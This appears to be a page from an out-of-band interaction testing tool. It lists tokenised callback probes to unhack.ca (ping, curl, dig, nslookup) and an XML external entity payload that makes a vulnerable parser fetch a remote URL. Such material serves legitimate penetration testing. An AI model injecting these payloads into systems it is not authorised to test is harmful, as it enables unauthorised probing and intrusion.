$ ping -c1 -p 009bc9eb9723f0523788b329749f3f00 unhack.ca
 
$ curl http://unhack.ca/p/9bc9eb9723f0523788b329749f3f
 
$ dig 9bc9eb9723f0523788b329749f3f @unhack.ca
 
$ dig 9bc9eb9723f0523788b329749f3f.ns.unhack.ca
 
C:\> nslookup 9bc9eb9723f0523788b329749f3f unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/9bc9eb9723f0523788b329749f3f">]>
    <foo>&xxe;</foo>
Waiting for ping...